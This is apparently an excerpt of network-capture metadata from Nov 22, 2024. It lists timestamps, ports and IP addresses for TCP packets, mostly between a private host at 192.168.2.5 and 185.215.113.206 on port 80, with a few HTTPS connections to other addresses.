Nov 22, 2024 23:06:33.707415104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.708223104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.708236933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.708446980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.708467960 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.708796024 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.709069967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.709122896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.709186077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.709222078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.709930897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.709985018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.710048914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.710092068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.710808992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.710865021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.710885048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.711091995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.711658955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.711896896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.712297916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.712344885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.712521076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.712721109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.712822914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.713448048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.713460922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.713505983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.713527918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.714267015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.714380026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.714430094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.714430094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.715147018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.715287924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.715329885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.716058016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.716109991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.716387033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.716423988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.716895103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.717094898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.717310905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.717367887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.717814922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.717828989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.717850924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.717869043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.718749046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.718763113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.718811989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.719542027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.719604015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.719614029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.719643116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.720426083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.720474958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.720657110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.721002102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.721292019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.721306086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.721349955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.722141981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.722222090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.722271919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.723016977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.723275900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.723406076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.723895073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.723977089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.724339962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.724380016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.724781036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.724821091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.725404024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.725456953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.725605011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.725640059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.726258993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.726547956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.726561069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.726584911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.726618052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.727529049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.727545977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.727571964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.727587938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.728249073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.728522062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.728563070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.729137897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.729617119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.729657888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.729990959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.730385065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.730422020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.730978966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.730999947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.731036901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.731055975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.731805086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.731818914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.731908083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.732634068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.732690096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.732721090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.732769012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.733542919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.733555079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.733671904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.734431028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.734445095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.734538078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.834531069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.834630966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.834675074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.834976912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.835017920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.835458994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.835489988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.835644960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.835664988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.835694075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.835721016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.836510897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.836550951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.836592913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.837382078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.837440014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.838263988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.838303089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.838316917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.838329077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.838362932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.839137077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.839179039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.839262009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.839409113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.840001106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.840214014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.840334892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.840512037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.840883017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.840931892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.841027021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.841156960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.841757059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.841876984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.842034101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.842073917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.842688084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.842781067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.842824936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.843518972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.843584061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.843640089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.843653917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.844384909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.844444036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.844512939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.844547987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.845244884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.845366955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.845390081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.845405102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.846102953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.846144915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.846225023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.846256018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.847002983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.847048044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.847120047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.847151995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.847855091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.847898960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.847928047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.847959042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.848727942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.848840952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.848875999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.849594116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.849628925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.849709034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.849813938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.850469112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.850503922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.850581884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.850615978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.851320982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.851449966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.929059982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.929114103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.929246902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.929286957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.929558992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.929579020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.929620981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.930324078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.930394888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.930432081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.930474043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.931211948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.931308031 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:33.931310892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.931344986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.931364059 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:33.931365013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.931468964 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:33.931864977 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:33.931878090 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:33.932065964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.932178020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.932284117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.932993889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.933007002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.933060884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.933861971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.933873892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.933928967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.933960915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.934678078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.934741974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.934845924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.934914112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.935574055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.935693026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.935777903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.935833931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.936439991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.936502934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.936538935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.937341928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.937360048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.937414885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.938230991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.938419104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.938498020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.938545942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.939070940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.939110994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.939234972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.939960003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.940032959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.940251112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.940834999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.940932989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.940977097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.941680908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.941750050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.941782951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.941853046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.942611933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.942673922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.942698002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.942715883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.943444967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.943455935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.943787098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.944305897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.944329023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.944346905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.944365025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.945159912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.945226908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.945267916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.945331097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.946042061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.946084976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.946146965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.946248055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.946917057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.947026968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.947269917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.947897911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.947941065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.948024035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.948074102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.948697090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.948709965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.948743105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.949537992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.949584007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.949876070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.950417042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.950460911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.950517893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.950563908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.951291084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.951370001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.951401949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.951484919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.952145100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.952249050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.952264071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.952402115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.953031063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.953072071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.953136921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.953181028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.953896046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.953942060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.954018116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.954061985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.954780102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.954822063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.954976082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.955018044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.955631018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.955677032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.955749989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.955790997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.956523895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.956535101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.956571102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.956588984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.957354069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.957401037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.045331001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.045423985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.045459986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.045494080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.045767069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.045819044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.045897007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.045960903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.046644926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.046822071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.046864986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.047564030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.047624111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.047661066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.047753096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.048398018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.048477888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.048504114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.048579931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.049279928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.049345970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.049376011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.049525023 CET	49762	80	192.168.2.5	185.215.113.206
